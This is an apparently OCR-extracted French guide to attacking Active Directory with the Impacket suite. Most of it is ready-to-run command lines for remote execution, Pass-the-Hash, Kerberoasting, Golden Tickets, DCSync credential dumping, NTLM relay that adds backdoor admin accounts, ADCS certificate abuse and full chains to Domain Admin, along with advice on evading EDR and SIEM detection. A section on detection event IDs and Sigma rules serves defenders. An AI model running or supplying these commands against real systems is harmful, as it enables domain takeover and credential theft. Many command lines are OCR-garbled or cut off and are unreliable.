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Impacket : Guide complet exploitation Active
Directory 2026

Avertissement légal : Les techniques présentées dans cet article sont destinées exclusivement
aux professionnels de la sécurité offensive dans un cadre 1égal : tests d'intrusion mandatés,
compétitions CTF, environnements de laboratoire controlés. Toute utilisation contre des systémes
sans autorisation explicite est illégale et punissable par la loi. L'auteur décline toute
responsabilité en cas d'usage malveillant.

Il y a quelques années, lors d'un pentest interne chez un grand compte bancaire, j'ai compromis

l'intégralité du domaine Active Directory en moins de 4 heures — sans exploiter une seule CVE.

Tout reposait sur Impacket, une suite Python qui transforme les protocoles Windows en armes
offensives redoutables. En 2026, avec 12 000+ étoiles GitHub et une adoption massive dans les
équipes red team mondiales, Impacket reste 1'outil de référence pour I'exploitation Windows et
Active Directory. Ce guide complet couvre chaque outil clé de la suite avec des commandes
réelles, des flux d'attaque détaillés et les contre-mesures associées — parce que comprendre
l'attaque est la condition sine qua non d'une défense efficace. Que vous prépariez votre OSCP,
conduisiez un red team engagement ou durcissiez votre Active Directory, ce guide vous donnera
la maitrise complete de l'impacket exploitation active directory. Nous allons couvrir Pass-the-

Hash, Kerberoasting, AS-REP Roasting, DCSync, NTLM Relay, ADCS abuse et bien d'autres

vecteurs — avec les commandes exactes que j'utilise en mission. La maitrise d'Impacket est
aujourd'hui une compétence fondamentale pour tout pentester sérieux opérant sur des

infrastructures Windows.

» Techniques d'attaque documentées et vecteurs d'exploitation
» Indicateurs de compromission (IOC) et regles de détection
» Stratégies de remédiation et de durcissement Active Directory

» Impact sur les architectures Zero Trust et [AM
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Environnement de laboratoire : Kali Linux 2025.1 (attaquant, 192.168.1.50) — Windows
Server 2022 (Domain Controller, 192.168.1.10, domaine corp.local ) — Windows 10 22H2

(cible, 192.168.1.20). Impacket 0.12.0, Python 3.12. Toutes les démonstrations sont réalisées

dans un lab isolé.

Attaques, Tiering Model, durcissement, monitoring — par Ayi -

NEDJIMI

Impacket : architecture et installation

Impacket est une collection de classes Python bas niveau permettant d'interagir avec les

protocoles réseau Microsoft. Créée par SecureAuth Labs, la suite implémente nativement
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SMB1/2/3, MSRPC, LDAP/LDAPS, Kerberos, DNS, DCERPC, SAMR, LSA et DRSR. La force
d'ITmpacket réside dans son approche protocolaire : plut6t que d'appeler des APIs Windows, les
outils forgent directement les paquets réseau — ce qui permet de fonctionner depuis Linux sans
dépendances Windows. Cette architecture explique pourquoi Impacket est si populaire en red
team : un attaquant depuis Kali peut interagir avec n'importe quel service Windows en mode

boite noire, sans avoir besoin d'un agent ou d'un acces préalable au systéme cible.

Installation

# Kali Linux — déja installé, vérifier la version

impacket-psexec --version

# Installation via pip3 (derniere version)

pip3 install impacket

# Installation depuis les sources (recommandé pour les dernieres fonctionnalités)
git clone https://github.com/fortra/impacket.git

cd impacket

pip3 install -r requirements.txt

pip3 install .

# Vérifier les scripts disponibles

1s /usr/share/doc/python3-impacket/examples/

# ou aprés pip install :

1s $(python3 -c "import impacket; print(impacket. file .rsplit('/',2)[01)")/bin/

Sur Kali, les scripts sont préfixés impacket- (ex: impacket-psexec, impacket-secretsdump ). En
installation manuelle, les scripts Python sont directement accessibles ( psexec.py ,

secretsdump.py ). Dans ce guide, j'utilise la notation sans préfixe pour la lisibilité.
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Structure du projet

Module

Protocoles

Outils principaux

impacket/krb5 Kerberos v5 GetTGT, GetST, GetUserSPNs, ticketer
impacket/smb SMB1/2/3 psexec, smbexec, smbclient, secretsdump
impacket/Idap LDAP/LDAPS ldapdomaindump, GetADUsers, ntlmrelayx
impacket/dcerpc DCE/RPC, MSRPC rpcdump, samrdump, lookupsid, reg
impacket/dot11 WMI wmiexec, dcomexec

impacket/mssql TDS/MSSQL mssqlclient

Impacket — Outils par protocole

LDAP / AD

psexec.py GetTGT. py ldapdomaindump
sm c.py GetST.py GetAD D
ient.py Ge py atexec.py
etsdump.py GetNPUsers.py addc / rpcdump. py
y ticketer.py / lookupsid.py
raiseChild.py reg.py
mrdump. py

findDelegation.py

Exécution de commandes distantes : psexec, smbexec, wmiexec

L'exécution distante est 'une des premiéres choses que 1'on fait aprés avoir obtenu des
credentials valides. Impacket offre cing méthodes distinctes, chacune avec un profil de furtivité

différent. Comprendre ces différences est essentiel pour adapter sa technique au contexte de



I'engagement — un environnement avec EDR derniere génération ne se traite pas comme un lab

CTF.

psexec.py — La référence (et la plus bruyante)

psexec.py ouvre une connexion SMB, copie un service binaire aléatoire sur le partage ADMINS, le
démarre via Service Control Manager et établit un pseudo-terminal. Tres efficace, tres détecté.
En environnement réel avec un EDR moderne, cette technique déclenche des alertes en moins de

30 secondes.

# Authentification par password
psexec.py corp.local/Administrator:P@sswO@rd@l92.168.1.20

# Pass-the-Hash (NTLM)
psexec.py corp.local/Administrator@l92.168.1.20 -hashes :aad3b435b51404eeaad3b435b51404ee:8846f7¢e

# Spécifier une commande unique

psexec.py corp.local/Administrator:P@sswOrd@l92.168.1.20 "whoami /all"

# Via un ticket Kerberos (.ccache)
export KRB5CCNAME=administrator.ccache

psexec.py corp.local/Administrator@DC@l.corp.local -k -no-pass

smbexec.py — Plus furtif que psexec

smbexec.py n'écrit pas de binaire sur disque. Il crée un service temporaire qui exécute les
commandes via cmd.exe /Q /c et redirige la sortie vers un fichier partagé. Moins de traces
binaires, mais génere toujours des Event ID 7045 (création de service) et des traces dans les logs

SMB.



# Shell interactif via smbexec
smbexec.py corp.local/Administrator:P@sswO@rd@l92.168.1.20

# Pass-the-Hash
smbexec.py -hashes :NTLM HASH corp.local/Administrator@l92.168.1.20

# Mode no-output (plus furtif, pas de création de fichier de résultat)
smbexec.py corp.local/Administrator:P@sswOrd@l92.168.1.20 -mode SHARE

wmiexec.py — Le choix OPSEC par défaut

wmiexec.py utilise le protocole WMI (Windows Management Instrumentation) via DCOM/RPC.
Pas d'écriture de service, pas de touches a AbMIng — les commandes sont exécutées via
win32_Process.cCreate() . C'est mon outil favori pour I'exécution distante furtive. La sortie

des commandes est récupérée via un partage SMB temporaire, mais aucun service n'est créeé.

# Exécution interactive

wmiexec.py corp.local/Administrator:P@sswOrd@192.168.1.20

# Commande unique (pas de shell interactif)
wmiexec.py corp.local/Administrator:P@sswOrd@l92.168.1.20 "ipconfig /all"

# Pass-the-Hash
wmiexec.py -hashes :8846f7eaee8fbl17ad06bdd830b7586¢ corp.local/Administrator@l92.168.1.20

# Mode nooutput — commande lancée, pas de récupération de résultat (furtivité maximale)
wmiexec.py corp.local/Administrator:P@sswOrd@l92.168.1.20 -nooutput "powershell -enc BASE64PAYLOA

atexec.py et dcomexec.py

atexec.py exploite le Task Scheduler Windows via le protocole ATSVC (port 135 + dynamique).
dcomexec.py utilise DCOM via les interfaces ShellWindows, ShellBrowserWindow ou MMC20

— particuliérement utile quand WMI est bloqué mais DCOM reste accessible.



# atexec — exécution via Task Scheduler (ATSVC)
atexec.py corp.local/Administrator:P@sswOrd@l92.168.1.20 "net user hacker P@ss /add"

# dcomexec — via ShellWindows, ShellBrowserWindow ou MMC20
dcomexec.py corp.local/Administrator:P@sswOrd@l92.168.1.20 "calc.exe"
dcomexec.py -object MMC20 corp.local/Administrator:P@ssw0rd@l192.168.1.20 "cmd.exe /c whoami > C:\

RETOUR DcXPERIENCE

En red team, j'utilise systématiquement wmiexec.py en premier choix,
puis smbexec.py Si WMI est bloqué. psexec.py est réservé aux labs CTF — en
environnement réel, il déclenche toutes les alertes EDR en moins de 30 secondes. La
combinaison wmiexec.py -nooutput avec un beacon C2 en callback HTTP est quasi-

invisible sur la plupart des STEM legacy.

Pass-the-Hash et Pass-the-Ticket avec Impacket

Les attaques Pass-the-Hash (PtH) et Pass-the-Ticket (PtT) sont au cceur de la latéralisation en

environnement Active Directory. Impacket les supporte nativement sur tous ses outils d'exécution
distante, ce qui en fait une suite compléte pour le mouvement latéral post-exploitation. Ces
techniques exploitent la facon dont Windows gere 1'authentification : le hash NTLM ou le ticket

Kerberos suffisent, le mot de passe en clair n'est jamais nécessaire.
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Pass-the-Hash — syntaxe universelle

# Format des hashes : LMHash:NTHash

# LMHash peut étre vide (aad3b435b51404eeaad3b435b51404ee) ou le vrai LM hash
# NTHash est celui qui compte (32 chars hex)

# Récupérer le hash NTLM d'un utilisateur via secretsdump

secretsdump.py corp.local/Administrator:P@sswOrd@192.168.1.10 -just-dc-user krbtgt

# Utiliser ce hash pour se connecter sur n'importe quel outil Impacket

smbclient.py -hashes :NTLMHASH corp.local/Administrator@l92.168.1.20

secretsdump.py -hashes :NTLMHASH corp.local/Administrator@l92.168.1.20

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:NTLMHASH corp.local/Administrator@l92.168.1.2

Pass-the-Ticket — avec tickets Kerberos

# Exporter un ticket depuis mimikatz ou Rubeus
# mimikatz : sekurlsa::tickets /export

# Rubeus : Rubeus.exe dump /nowrap

# Convertir un ticket .kirbi en .ccache (format MIT Kerberos)

ticketConverter.py administrator.kirbi administrator.ccache

# Utiliser le ticket avec Impacket

export KRB5CCNAME=/tmp/administrator.ccache

psexec.py -k -no-pass corp.local/Administrator@CO1l.corp.local
wmiexec.py -k -no-pass corp.local/Administrator@l92.168.1.20

secretsdump.py -k -no-pass corp.local/Administrator@COl.corp.local

Kerberos avec Impacket : Kerberoasting, AS-REP Roasting, Golden/Silver
Tickets

Impacket est I'outil de référence pour les attaques Kerberos depuis Linux. Les quatre attaques

principales — Kerberoasting, AS-REP Roasting, Silver Ticket et Golden Ticket — sont toutes
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couvertes nativement. Ces attaques exploitent des faiblesses fondamentales du protocole
Kerberos ou des mauvaises configurations Active Directory. Pour approfondir ces mécanismes,

notre guide Kerberos : exploitation Active Directory couvre en détail la théorie protocolaire.

GetTGT.py et GetST.py — Obtenir des tickets légitimes

# Obtenir un TGT (Ticket Granting Ticket)
getTGT.py corp.local/john:Passwordl23

# Résultat : john.ccache

# Obtenir un TGT avec Pass-the-Hash
getTGT.py corp.local/john -hashes :NTLMHASH

# Obtenir un Service Ticket (ST) pour un SPN spécifique
export KRB5CCNAME=john.ccache
getST.py corp.local/john:Passwordl23 -spn cifs/fileserver.corp.local

# S4U2Self + S4U2Proxy (delegation abuse) — voir notre guide RBCD
getST.py corp.local/svc _account$ -spn cifs/DCOl.corp.local -impersonate Administrator -hashes :NT

GetUserSPNs.py — Kerberoasting

Kerberoasting consiste a demander des Service Tickets pour des comptes ayant un SPN
enregistré, puis a cracker le hash hors ligne. Le ticket est chiffré avec le hash NTLM du compte
de service — si le mot de passe est faible, Hashcat le retrouvera. Cette technique ne génere pas

d'alerte en temps réel si la télémétrie Kerberos n'est pas activée. Notre guide Kerberoasting :

attaque et défense détaille les contre-mesures avancées.
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# Lister les comptes avec SPN
GetUserSPNs.py corp.local/john:Passwordl23 -dc-ip 192.168.1.10

# Demander les tickets (Kerberoast)

GetUserSPNs.py corp.local/john:Passwordl23 -dc-ip 192.168.1.10 -request

# Cibler un compte spécifique

GetUserSPNs.py corp.local/john:Passwordl23 -dc-ip 192.168.1.10 -request-user svc _mssql

# Sauvegarder dans un fichier pour Hashcat

GetUserSPNs.py corp.local/john:Passwordl23 -dc-ip 192.168.1.10 -request -outputfile kerberoast ha

# Cracker avec Hashcat (mode 13100 = Kerberos 5 TGS-REP etype 23)

hashcat -m 13100 kerberoast hashes.txt /usr/share/wordlists/rockyou.txt --force

GetNPUsers.py — AS-REP Roasting

L'AS-REP Roasting cible les comptes Active Directory avec l'attribut DONT_REQ_PREAUTH
(préauthentification Kerberos désactivée). Sans préauth, le KDC retourne une AS-REP chiffrée
avec le hash du compte — sans méme valider l'identité du demandeur. Notre guide AS-REP

Roasting : attaque et défense couvre les stratégies de détection avancées.

# Avec une liste d'utilisateurs (sans credentials)
GetNPUsers.py corp.local/ -usersfile /tmp/users.txt -no-pass -dc-ip 192.168.1.10

# Avec credentials (énumére automatiquement les comptes vulnérables)
GetNPUsers.py corp.local/john:Passwordl23 -dc-ip 192.168.1.10 -request

# Sauvegarder les hashes

GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -format hashcat -outputfile asrep hashes.

# Cracker avec Hashcat (mode 18200 = Kerberos 5 AS-REP etype 23)
hashcat -m 18200 asrep hashes.txt /usr/share/wordlists/rockyou.txt
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ticketer.py — Forger des tickets Silver et Golden

Les Golden Tickets et Silver Tickets sont des tickets Kerberos forgés localement, sans interaction
avec le DC. Un Golden Ticket nécessite le hash NTLM du compte krbtgt et permet
d'impersonner n'importe quel utilisateur sur n'importe quel service du domaine — persistence

absolue. Pour les défenses associées, voir notre guide Golden Ticket : attaque et défense.

# Récupérer d'abord le hash krbtgt via secretsdump

secretsdump.py corp.local/Administrator:P@sswOrd@l92.168.1.10 -just-dc-user krbtgt

# Forger un Golden Ticket
ticketer.py -nthash KRBTGT NTLM HASH -domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX - XXXXXXXXXX -domai

# Utiliser le Golden Ticket
export KRB5CCNAME=Administrator.ccache

psexec.py -k -no-pass corp.local/Administrator@DCO1l.corp.local

# Silver Ticket (hash NTLM du compte de service ciblé)
ticketer.py -nthash SERVICE NTLM HASH -domain-sid S-1-5-21-XXXXXXXXXX -domain corp.local -spn cif

# raiseChild — escalade cross-domain child vers parent

raiseChild.py corp.local/Administrator:P@sswOrd -childdc DCOl.corp.local -parentdc DCO2.parent.lo

Flux DCSync — secretsdump.py

Domain Controller
corp.local

li Linux NTDS.dit + SYSTEM
mp. py

2. Réplication AD

hashcat -m 1000
john --format=NT

john:1106:aad3b435b51404ee:e99al8XX

-just-dc # DCSync uniquement
Acces a toutes les machines
-just-dc-user krbtgt # cibler krbtgt
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NTLM Relay avec ntlmrelayx.py

Le NTLM Relay est I'une des attaques les plus dévastatrices en environnement Windows. Le
principe : intercepter une authentification NTLM (via Responder, mitm6 ou un lien piégé) et la
relayer vers une cible différente. ntlmrelayx.py est 1'outil de référence Impacket pour cette
technique. Notre guide NTLM Relay moderne 2026 couvre les variantes avancées avec HTTP et

WebDAV.

Configuration de base ntlmrelayx

# Prérequis : désactiver le SMB et HTTP locaux dans Responder
# /etc/responder/Responder.conf : SMB = Off, HTTP = Off

# Relay SMB vers SMB (nécessite que la signature SMB soit désactivée sur la cible)
ntlmrelayx.py -t smb://192.168.1.20 -smb2support

# Relay vers plusieurs cibles (fichier)

ntlmrelayx.py -tf targets.txt -smb2support

# Lancer Responder en paralléle (terminal séparé)

responder -I ethO® -wrf

# Exécuter une commande lors du relay
ntlmrelayx.py -t smb://192.168.1.20 -smb2support -c "net user backdoor P@ssl123 /add && net localg

# Mode interactif (shell SMB sur port 11000)
ntlmrelayx.py -t smb://192.168.1.20 -smb2support -i
# Se connecter : nc 127.0.0.1 11000
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Relay vers LDAP — Délégation et escalade de privileges

# Relay vers LDAP pour configurer la délégation RBCD
ntlmrelayx.py -t ldap://192.168.1.10 --delegate-access --no-smb-server

# Relay vers LDAPS (signed + encrypted, nécessite LDAPS actif)
ntlmrelayx.py -t ldaps://192.168.1.10 --add-computer EVILPC --no-smb-server

# Escalade via ACL : ajouter l'attaquant au groupe Domain Admins
ntlmrelayx.py -t ldap://192.168.1.10 --escalate-user john

Relay vers ADCS (ESC8 — Web Enrollment)

# Relay vers ADCS pour obtenir un certificat au nom de la victime
ntlmrelayx.py -t http://192.168.1.15/certsrv/certfnsh.asp --adcs --template DomainController

# Aprés obtention du certificat (.pfx)
certipy auth -pfx dcOl.pfx -dc-ip 192.168.1.10

Flux NTLM Relay Attack — ntlmrelayx.py

2. Relay Auth Cible SMB

Responder (poison) —_— eur / DC
gning OFF

Victime

ntlmre

Conditions requises
T1557.001 NTLM Relay

T1187 Forced Auth
Steal Kerberos

SMB Signing desactive sur la cible LDAP : delegation RBCD
Victime != Cible (pas de relay local) ADCS : certificat machine
Victimes auth vers attaquant HTTP : bDAV abuse

Meme réseau (L2) ou route MSSQL : exécution SQL 003.006 DCSync




secretsdump.py : Dump de credentials et DCSync

secretsdump.py est 'outil le plus puissant de la suite Impacket pour I'extraction de credentials. Il
combine plusieurs techniques : SAM/LSA dump local, NTDS.dit extraction distante via DCSync

(protocole DRSUAPI), et récupération des secrets LSA. Notre guide dédié DCSync : attaque et

défense couvre en détail les mécanismes de protection avancés.

Dump local (fichiers registry)

# Exporter les ruches registry sur la cible Windows (cmd.exe admin)
reg save HKLM\SAM sam.save

reg save HKLM\SYSTEM system.save

reg save HKLM\SECURITY security.save

# Récupérer via smbclient
smbclient.py corp.local/admin:pass@192.168.1.20

# smb> get sam.save / get system.save / get security.save

# Analyser localement (pas de connexion réseau requise)
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

DCSync — L'attaque reine sur Active Directory

Le DCSync exploite le protocole de réplication Active Directory (DRSUAPI). En se faisant
passer pour un Domain Controller secondaire, I'attaquant demande au DC principal de lui
répliquer les credentials — sans toucher au disque, sans s'authentifier localement sur le DC.

Cette technique ne nécessite que les droits Replicating Directory Changes All.
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# DCSync complet — tous les utilisateurs du domaine
secretsdump.py corp.local/Administrator:P@sswOrd@l92.168.1.10 -just-dc

# DCSync ciblé — seulement krbtgt (pour Golden Ticket)
secretsdump.py corp.local/Administrator:P@sswOrd@l92.168.1.10 -just-dc-user krbtgt

# DCSync avec Pass-the-Hash
secretsdump.py -hashes :NTLM HASH corp.local/Administrator@l92.168.1.10 -just-dc

# DCSync avec ticket Kerberos
export KRB5CCNAME=admin.ccache

secretsdump.py -k -no-pass corp.local/Administrator@DCOl.corp.local -just-dc

# Dump complet incluant LSA secrets, cached credentials

secretsdump.py corp.local/Administrator:P@sswOrd@192.168.1.20

# Sortie vers fichier
secretsdump.py corp.local/Administrator:P@sswOrd@192.168.1.10 -just-dc -outputfile domain hashes

Comparaison secretsdump.py vs mimikatz

Critére secretsdump.py (Impacket) mimikatz

Plateforme Linux / Windows Windows uniquement

Agent requis sur cible Non (remote via réseau) Oui (exécution locale)

Acces disque DC Non (protocole réseau) Oui (NTDS.dit, Isass)
Détection EDR Modérée (réseau) Elevée (Isass injection)
Privileges requis Domain Admin / DCSync rights SYSTEM / SeDebugPrivilege
Tickets Kerberos en mémoire Via -use-vss ou registry sekurlsa::tickets

Enumération Active Directory avec Impacket

Avant |'exploitation, I'énumération est fondamentale. Impacket fournit des outils pour interroger

LDAP, SAM, RPC et SMB sans aucun agent c6té cible. Cette phase permet de cartographier les



utilisateurs, groupes, ordinateurs, délégations et politiques de sécurité du domaine —

informations essentielles pour prioriser les vecteurs d'attaque.

GetADUsers.py et ldapdomaindump

# Lister tous les utilisateurs du domaine
GetADUsers.py -all corp.local/john:Passwordl23 -dc-ip 192.168.1.10

# Dump LDAP complet avec ldapdomaindump (HTML + JSON + grep-able)
ldapdomaindump -u corp.local\\john -p Passwordl123 192.168.1.10 -o /tmp/ldap dump/
# Génere : domain_users.html, domain computers.html, domain_groups.html, etc.

# Avec Pass-the-Hash
ldapdomaindump -u corp.local\\Administrator -H :NTLM HASH 192.168.1.10 -o /tmp/dump/

lookupsid.py, samrdump.py et rpcdump.py

# Enumération SID — brute force des RIDs pour trouver tous les utilisateurs/groupes
lookupsid.py corp.local/john:Password123@192.168.1.10 20000
# 500 = Administrator, 502 = krbtgt, 512 = Domain Admins, etc.

# Sans credentials (session nulle si autorisée)
lookupsid.py guest:@192.168.1.10

# Dump SAM via SAMR (énumére users, groupes, policy)
samrdump.py corp.local/john:Password123@192.168.1.10

# Enumération des endpoints RPC disponibles
rpcdump.py corp.local/john:Password123@192.168.1.10
rpcdump.py @192.168.1.10 # session anonyme

# Navigation SMB — lister partages et fichiers
smbclient.py corp.local/john:Password123@192.168.1.20
# smb: shares / use SYSVOL / ls / get file.txt




findDelegation.py — Identifier les délégations Kerberos

# Trouver tous les comptes avec délégation Kerberos configurée
findDelegation.py corp.local/john:Passwordl23 -dc-ip 192.168.1.10

# Résultat typique :

# AccountName | AccountType | DelegationType | DelegationRightsTo

# svc _iis | Person | Constrained w/ Protocol Transition | MSSQLSvc/dbOl1.corp.local
# WORKSTATION$ | Computer | Unconstrained | N/A

Attaques ADCS avec Impacket et Certipy

Les Active Directory Certificate Services (ADCS) sont devenus un vecteur d'attaque majeur

depuis les recherches de Will Schroeder et Lee Christensen en 2021. En 2026, les ESC1 a ESC13

représentent un chemin vers le Domain Admin dans la quasi-totalité des environnements non

durcis. Notre guide complet ADCS : Certificats, Attaques et Défense couvre chaque ESC en

détail.

ESC1 — Template avec enrollement libre et SAN arbitraire

# Certipy est construit sur Impacket — installation

pip3 install certipy-ad

# Enumérer les templates vulnérables

certipy find -u john@corp.local -p Passwordl23 -dc-ip 192.168.1.10 -vulnerable

# ESC1 : demander un certificat en se faisant passer pour Administrator

certipy req -u john@corp.local -p Passwordl23 -ca corp-CA -template VulnTemplate -upn Administrat

# Authentifier avec le certificat pour obtenir le hash NTLM de Administrator

certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10



http://localhost:4001/glossaire/adcs-active-directory-certificate-services
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ESC8 — NTLM Relay vers ADCS Web Enrollment

# Relay NTLM vers ADCS pour obtenir un certificat machine
ntlmrelayx.py -t http://192.168.1.15/certsrv/certfnsh.asp --adcs --template DomainController --no

# Déclencher 1'authentification (ex: via printerbug/SpoolSample)
printerbug.py corp.local/john:Password123@DC0O1l.corp.local 192.168.1.50

# ntlmrelayx obtient un certificat .pfx
# Authentifier avec le certificat
certipy auth -pfx dcOl.pfx -domain corp.local -dc-ip 192.168.1.10

# Résultat : hash NTLM du compte machine DCO1$ puis Shadow Credentials vers DA

RETOUR DcXPERIENCE

Sur un engagement récent, j'ai trouvé 3 templates ADCS vulnérables a
ESC1 chez un client Fortune 500. En 20 minutes depuis un compte utilisateur standard,
on avait un certificat Administrator valide. Le client avait des ADCS depuis Windows
Server 2008 — jamais audités. Le relay ESC8 est encore plus destructeur : il suffit que

le Web Enrollment soit accessible et que la signature SMB ne soit pas forcée sur le DC.

mssqlclient.py et autres outils utiles

La suite Impacket couvre bien plus que I'Active Directory. mssqlclient.py est un outil complet
pour l'exploitation des instances Microsoft SQL Server, trés communes en environnement

Windows enterprise — et souvent avec des droits élevés sur le domaine.



mssqlclient.py — Exploitation SQL Server

# Connexion avec authentification Windows (domaine)

mssqlclient.py corp.local/sa account:Password123@192.168.1.25 -windows-auth

# Connexion avec hash NTLM
mssqlclient.py corp.local/sa account@192.168.1.25 -hashes :NTLM HASH -windows-auth

# Connexion SQL (auth locale SQL Server)
mssqlclient.py sa:P@sswOrd@l92.168.1.25

# Une fois connecté — activer et utiliser xp_cmdshell

SQL> enable xp cmdshell

SQL> xp_cmdshell whoami

SQL> xp_cmdshell "net user hacker P@ss /add && net localgroup administrators hacker /add"

# Elévation via impersonation
SQL> enum_impersonate

SQL> exec_as _login sa

# Linked servers — pivoter vers d'autres instances SQL Server
SQL> enum_links

SQL> use link OTHERSQLSRV

SQL> xp_cmdshell whoami

reg.py, rdp_check.py et esentutl.py

# Lecture du registre distant
reg.py corp.local/Administrator:P@sswOrd@192.168.1.20 query -keyName "HKLM\SOFTWARE\Microsoft\Win

# Activer RDP a distance via registre
reg.py corp.local/Administrator:P@sswOrd@l92.168.1.20 add -keyName "HKLM\SYSTEM\CurrentControlSet

# Vérifier si RDP est accessible et les credentials fonctionnent
rdp_check.py corp.local/Administrator:P@sswOrd@l92.168.1.20

# Manipulation de bases ESE (Active Directory, Exchange)
# esentutl.py permet de lire NTDS.dit localement si copié

esentutl.py /p ntds.dit




Détection et contre-mesures des attaques Impacket

Comprendre les signatures réseau Impacket est essentiel — tant pour les attaquants (OPSEC)
que pour les défenseurs (regles de détection). Les outils Impacket laissent des traces

caractéristiques a plusieurs niveaux : paquets réseau, logs Windows, comportements applicatifs.

Signatures réseau caractéristiques d'Tmpacket

User-Agent SMB atypique : Impacket forge des paquets SMB avec des valeurs Native OS et

Native LAN Manager inhabituelles (souvent vides ou avec des valeurs Python)
NTLMSSP_NEGOTIATE flags : combinaison de flags NTLM atypique — certains flags
toujours présents/absents par rapport a un client Windows légitime

Kerberos PA-DATA patterns : GetUserSPNs et GetNPUsers générent des AS-REQ/TGS-REQ

caractéristiques avec des champs inhabituels

DRSUAPI calls depuis non-DC : DCSync génere des appels DsGetNCChanges depuis une

adresse IP non enregistrée comme Domain Controller

Service creation pattern : psexec crée un service avec un nom aléatoire de 8 caracteres

alphanumériques

Event IDs Windows a monitorer

Event ID Source Attaque détectée Champ clé

4624 Security Pass-the-Hash (LogonType 3, NtLmSsp) LogonType, AuthenticationPackage

4776 Security NTLM auth hors Kerberos PackageName, WorkstationName

4768 Security AS-REP Roasting (sans préauth) TicketEncryptionType=0x17

4769 Security Kerberoasting (TGS-REQ avec RC4) TicketEncryptionType=0x17

5145 Security SMB share access anormal ShareName=ADMINS$, RelativeTargetName
7045 System Service installation (psexec) ServiceName (8 chars random)

4662 Security DCSync (acces objet AD) Properties: 1131f70c/1131£70e

4688 Security Process creation suspect NewProcessName (wmic.exe, cmd.exe)



Regles Sigma de détection

# Détection DCSync via accés DRSUAPI
title: Possible DCSync Attack
status: experimental
logsource:
product: windows
service: security
detection:
selection:
EventID: 4662
Properties|contains:
- '1131f70c-ebaa-11d2-a4d6-00c04f79f83a"
- '1131f70e-eOaa-11d2-a4d6-00c04f79f83a"
AccessMask: '0x100'
filter:
SubjectUserName|endswith: '$'
condition: selection and not filter

level: high

# Détection Kerberoasting (RC4 downgrade)
title: Kerberoasting RC4 Downgrade
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17'
ServiceName|not|endswith: '$'
condition: selection

level: high

Contre-mesures prioritaires

Forcer la signature SMB : GPO Network security — bloque ntlmrelayx vers SMB en 1'absence

de signature

Renouveler krbtgt deux fois : invalide tous les Golden Tickets existants en circulation



Protected Users Security Group : membres immunisés contre NTLM, délégation non

contrainte et RC4

Désactiver RC4 Kerberos : force AES256 — rend Kerberoasting inutilisable avec les outils

standards

Tiering Model Active Directory : voir notre guide Tiering Model AD 2026

Désactiver NTLM progressivement : via GPO — bloque PtH et relay NTLM

Auditer ADCS réguliérement : corriger ESC1/4/6/8 — voir notre guide ADCS attaques et

défense

OPSEC et techniques d'évasion avec Impacket

L'OPSEC (Operational Security) distingue un penetration tester détecté d'un acteur menacant
furtif. Impacket dans sa configuration par défaut est tres reconnaissable par les SIEM et EDR

modernes. Ces techniques permettent de réduire significativement 1'empreinte opérationnelle.
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Réduire les signatures Impacket

# 1. Préférer wmiexec sur psexec/smbexec en priorité

wmiexec.py -nooutput corp.local/user:pass@target "cmd.exe /c command"

# 2. Introduire des délais aléatoires entre les opérations

for user in $(cat users.txt); do

GetNPUsers.py corp.local/$user -no-pass -dc-ip 192.168.1.10 2>/dev/null
sleep $((RANDOM % 5 + 2))

done

# 3. Proxychains — passer par un pivot compromis

proxychains4 secretsdump.py corp.local/admin:pass@192.168.1.10 -just-dc

# 4. Préférer Kerberos a NTLM (moins de traces réseau NTLM)
getTGT.py corp.local/user:pass -dc-ip 192.168.1.10
export KRB5CCNAME=user.ccache

wmiexec.py -k -no-pass corp.local/user@target.corp.local

# 5. Cibler précisément plutdét que scanner massivement

GetUserSPNs.py corp.local/user:pass -dc-ip 192.168.1.10 -request-user svc specific

Alternatives moins détectées

NetExec (CrackMapExec successor) avec modules personnalisés pour mixer les User-Agents

SMB

Bloodyad (basé Impacket) : interface LDAP moderne avec meilleur profil OPSEC pour les
opérations LDAP

Shadow Credentials via Whisker : modification msDS-KeyCredentialLink en LDAP — moins

détecté que DCSync pour obtenir le hash d'un compte spécifique

Certipy en mode stealth : une seule requéte de certificat vs multiples requétes Kerberoast qui

génerent du bruit

Via C2 (Cobalt Strike, Havoc) : opérations exécutées via le beacon, pas directement depuis

Kali — les logs réseau pointent vers la victime compromise, pas I'attaquant


http://localhost:4001/articles/cobalt-strike-plateforme-c2-red-team

RETOUR DcXPERIENCE

Le meilleur indicateur qu'un attaquant utilise Impacket est un Event
ID 4769 avec TicketEncryptionType 0x17 depuis une IP non-Windows. Les défenseurs
qui monitent ce pattern dans leur SIEM détectent 80% des Kerberoasting Impacket. La
contre-mesure offensive : forcer AES256 dans la requéte TGS avec l'option -request
-request-user user -dc-ip DC — certains environnements acceptent encore le

downgrade AES vers RC4 si mal configurés.

Chaines d'attaque completes : du compte utilisateur au Domain Admin

En pratique, les attaques Impacket ne s'utilisent pas isolément — elles s'enchainent en kills
chains cohérentes. Voici trois chaines d'attaque typiques que j'utilise en mission, depuis un

compte utilisateur standard jusqu'a la compromission totale du domaine.

Chaine 1 : Kerberoasting vers DA

# 1. Lister les SPNs avec un compte standard

GetUserSPNs.py corp.local/john:Passwordl23 -dc-ip 192.168.1.10 -request -outputfile spns.txt

# 2. Cracker le hash du compte de service

hashcat -m 13100 spns.txt /usr/share/wordlists/rockyou.txt

# 3. Si svc_backup a le droit DCSync ou est admin local d'un serveur tier0

secretsdump.py corp.local/svc backup:CrackedPass@192.168.1.10 -just-dc




Chaine 2 : NTLM Relay + ADCS vers DA

# 1. Responder capture + ntlmrelayx vers ADCS
ntlmrelayx.py -t http://adcs.corp.local/certsrv/certfnsh.asp --adcs --template DomainController

responder -I eth0

# 2. Utiliser le certificat obtenu pour s'authentifier
certipy auth -pfx dcOl.pfx -dc-ip 192.168.1.10
# Résultat : hash NTLM du compte machine DCO1$

# 3. DCSync avec le hash du compte machine
secretsdump.py -hashes :DCO1 NTLM HASH corp.local/DC01$@192.168.1.10 -just-dc

Chaine 3 : AS-REP Roasting depuis 1'extérieur

# 1. Enumerer les utilisateurs via RPC null session
lookupsid.py guest:@192.168.1.10 | grep "SidTypeUser" | cut -d\ -f2 | cut -d' ' -fl > users.txt

# 2. AS-REP Roasting sans credentials
GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -format hashcat -outputfile asrep.txt

# 3. Cracker et utiliser le compte compromis
